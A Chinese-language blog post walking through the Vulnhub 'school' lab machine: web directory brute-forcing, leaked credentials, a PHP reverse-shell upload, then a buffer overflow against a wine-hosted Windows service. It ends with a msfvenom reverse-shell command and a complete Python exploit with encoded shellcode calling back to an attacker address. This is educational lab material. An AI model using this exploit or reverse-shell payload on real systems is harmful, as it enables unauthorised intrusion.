Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub靶机school的walkthrough (linux下wine运行windows服务的缓冲区溢出)

    这是vulnhub里一个非常有意思的靶机,下载地址是https://www.vulnhub.com/entry/school-1,613/。

    这个靶机是Linux系统的,取得用户shell的难度是初级,但是取得root shell需要对wine运行的windows程序进行溢出攻击。

    首先,加载靶机到VirtualBox,运行后取得IP地址,并用nmap进行扫描。

    图片.png

    经过一番测试,除了80端口,其它端口目前都没有发现什么。用浏览器打开靶机,发现直接跳转到http://192.168.56.12/student_attendance/login.php。

    图片.png

    测试了几个弱口令,无法登录。开始爆破网站目录,发现了一些文件和文件夹。

    gobuster dir -u http://192.168.56.12/student_attendance/ -t 50  -x .php,.html,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404

    图片.png


    经过一番浏览,在database文件夹里发现一个student_attendance_db.sql文件。

    图片.png

    下载下来以后,查看其中的内容,发现了2个用户名和密码。

    图片.png


    在线解出admin的密码为admin123。随后用这个用户名和密码登录刚才的界面,进入一个控制面板。

    图片.png


    在这个控制面板进行查找后发现,并没有可以利用的地方。这里,查看一下页面源代码,发现有一处很特别的注释。

    图片.png


    这说明后台很有可能有一个site_settings页面,但是被注释隐藏了。我们直接在地址栏里输入http://192.168.56.12/student_attendance/index.php?page=site_settings尝试访问,果然来到一个新的界面。最重要的是,有上传文件按钮。

    图片.png图片.png



    我们选择上传一个php的反弹shell,同时监听相关端口,随后得到了用户shell。

    图片.png


    发现靶机有两个用户,fox和ppp。在fox的home目录下,找到了用户flag。又经过一番探索,包括查找SUID、可写文件、getcap等操作,没有发现可以利用来提权的地方。但是发现一个有意思的地方,就是www-data用户可以进入 /root目录,虽然目前无法读取root的flag,但是发现一个有意思的文件。

    图片.png


    查看win文件的内容,发现这一个可执行脚本,用处就是不断地用wine执行access.exe程序。

    图片.png

    那么这个程序肯定是在运行的,ps aux|grep access.exe无法查看PID,且netstat -tlnup也无法显示相关端口对应的PID,估计是权限太低的原因。

    图片.png

   

    我们把access.exe下载到本地的windows上运行后,发现该程序运行在23端口。因此,可以判断靶机里的23端口正是wine运行的access。(其实,后期在反汇编中可以很清楚地看到access.exe的端口号。)

    图片.png


   我们在本地的windows上运行access.exe程序,并尝试用nc连接。连接后输入字符串。当字符串长度较小时,程序运行正常,当字符串长度较大时,access.exe程序就会退出。初步猜测,这应该是一个缓冲区溢出漏洞。

    图片.png


    经过反复测试,可以得出,当字符串长度为1902时,是access.exe可以正常运行的最大输入字符串长度。为了进一步确认字符串溢出的位置,我们使用x32dbg(因为程序是32位的)和IDA来确认程序出错的位置。首先,我们用python生成溢出字符串,这里我们先生成1902个'a'和4个'b'。

    图片.png


    用x32dbg加载access.exe,按几次F9后让服务端运行起来,然后在客户端输入刚才的溢出测试字符串,这时程序中断在004018E7处,且状态栏显示“异常于62626262“,这正是我们刚才输出的测试字符串中的'bbbb"。说明1902个'a'正好将程序分配的堆栈全部占满,'bbbb'占据了调用函数返回值的地址(见右下角堆栈视图)。

    图片.png

     经过几次调试跟踪,我们发现,程序错误出现在access.exe程序的004018CE处(_f3)。

    图片.png

   

    使用F5可以更清楚看到,这就是个strcpy调用,其中,预留的缓冲区大小0x76A,转换成10进制,正好是1898,再加上4个byte的参数的位置,正好是1902。

    下面,开始形成我们的溢出思路。我们是无法像在本机调试一样去调试靶机的程序的,唯一的途径就是通过连接23端口,输入数据,而相关数据均保存在堆栈中。因此,我们要将shellcode输入给access.exe,同时,让access.exe溢出后,能执行我们的代码。构想如下图。有时,需要在返回地址和shellcode之间放一些代码,以保证对齐要求,但是本例中没有必要。

    图片.png


    下面遇到的问题,就是如何让返回地址指向我们需要执行的代码?由于返回地址弹出后,堆栈指针esp指向shellcode的顶部(或nop指令的顶部),最简单的方法就是jmp esp,这样就可以接着跳转回堆栈中执行,但这句jmp esp指令必须是在原程序中,而我们返回地址只能指向jmp esp这句指令的地址。我们在access.exe中未找到jmp esp,但是发现,它还有一个动态加载的dll:funcs_access.dll。

   图片.png


    用IDA打开funcs_access.dll文件,发现了其中就有我们需要的指令,而且不止一处。

    图片.png


    下面就是返回地址的确定,IDA已经显示出来了,dll动态加载后,jmp esp的地址是0x625012D0。在x32dbg中,加载access.exe后,

    图片.png


    这里还有一个坑,就是access.exe程序里,对客户端的输入字符串进行了过滤,有一些字符是不能使用的,注意在生成shellcode时,这部分字符串不能使用。

    图片.png

    shellcode使用msfvenom生成,命令是

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python

    下面就可以编写溢出程序了,完整的python代码如下:

#!/usr/bin/python3
import socket
buf=b''
target_ip='192.168.56.12'
target_port=23
recv_buf=4096
junk = b'a' * 1902
ret_addr=b'\xd0\x12\x50\x62'
#nops=b'\x90'*32   可选
buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\xe1\xa8\xa3\x85\x83\xee\xfc\xe2\xf4\x1d\x40"
buf += b"\x21\x85\xe1\xa8\xc3\x0c\x04\x99\x63\xe1\x6a\xf8\x93"
buf += b"\x0e\xb3\xa4\x28\xd7\xf5\x23\xd1\xad\xee\x1f\xe9\xa3"
buf += b"\xd0\x57\x0f\xb9\x80\xd4\xa1\xa9\xc1\x69\x6c\x88\xe0"
buf += b"\x6f\x41\x77\xb3\xff\x28\xd7\xf1\x23\xe9\xb9\x6a\xe4"
buf += b"\xb2\xfd\x02\xe0\xa2\x54\xb0\x23\xfa\xa5\xe0\x7b\x28"
buf += b"\xcc\xf9\x4b\x99\xcc\x6a\x9c\x28\x84\x37\x99\x5c\x29"
buf += b"\x20\x67\xae\x84\x26\x90\x43\xf0\x17\xab\xde\x7d\xda"
buf += b"\xd5\x87\xf0\x05\xf0\x28\xdd\xc5\xa9\x70\xe3\x6a\xa4"
buf += b"\xe8\x0e\xb9\xb4\xa2\x56\x6a\xac\x28\x84\x31\x21\xe7"
buf += b"\xa1\xc5\xf3\xf8\xe4\xb8\xf2\xf2\x7a\x01\xf7\xfc\xdf"
buf += b"\x6a\xba\x48\x08\xbc\xc0\x90\xb7\xe1\xa8\xcb\xf2\x92"
buf += b"\x9a\xfc\xd1\x89\xe4\xd4\xa3\xe6\x57\x76\x3d\x71\xa9"
buf += b"\xa3\x85\xc8\x6c\xf7\xd5\x89\x81\x23\xee\xe1\x57\x76"
buf += b"\xd5\xb1\xf8\xf3\xc5\xb1\xe8\xf3\xed\x0b\xa7\x7c\x65"
buf += b"\x1e\x7d\x34\xef\xe4\xc0\x63\x2d\xd9\xcc\xcb\x87\xe1"
buf += b"\xb9\xff\x0c\x07\xc2\xb3\xd3\xb6\xc0\x3a\x20\x95\xc9"
buf += b"\x5c\x50\x64\x68\xd7\x89\x1e\xe6\xab\xf0\x0d\xc0\x53"
buf += b"\x30\x43\xfe\x5c\x50\x89\xcb\xce\xe1\xe1\x21\x40\xd2"
buf += b"\xb6\xff\x92\x73\x8b\xba\xfa\xd3\x03\x55\xc5\x42\xa5"
buf += b"\x8c\x9f\x84\xe0\x25\xe7\xa1\xf1\x6e\xa3\xc1\xb5\xf8"
buf += b"\xf5\xd3\xb7\xee\xf5\xcb\xb7\xfe\xf0\xd3\x89\xd1\x6f"
buf += b"\xba\x67\x57\x76\x0c\x01\xe6\xf5\xc3\x1e\x98\xcb\x8d"
buf += b"\x66\xb5\xc3\x7a\x34\x13\x53\x30\x43\xfe\xcb\x23\x74"
buf += b"\x15\x3e\x7a\x34\x94\xa5\xf9\xeb\x28\x58\x65\x94\xad"
buf += b"\x18\xc2\xf2\xda\xcc\xef\xe1\xfb\x5c\x50"
    
payload = b''
payload += junk
payload += ret_addr
#payload += nops
payload += buf
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
    clientSock.connect((target_ip,target_port))
    data_from_srv = clientSock.recv(recv_buf)
    print(f"Reply --> {data_from_srv}")
    print(f"Sending --> {payload}")
    clientSock.sendall(payload)



   最后运行测试。一个终端开启4444端口的监听,另一个窗口运行exp.py。成功反弹回shell。

图片.png


    最后就是显示root flag了。

    图片.png

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0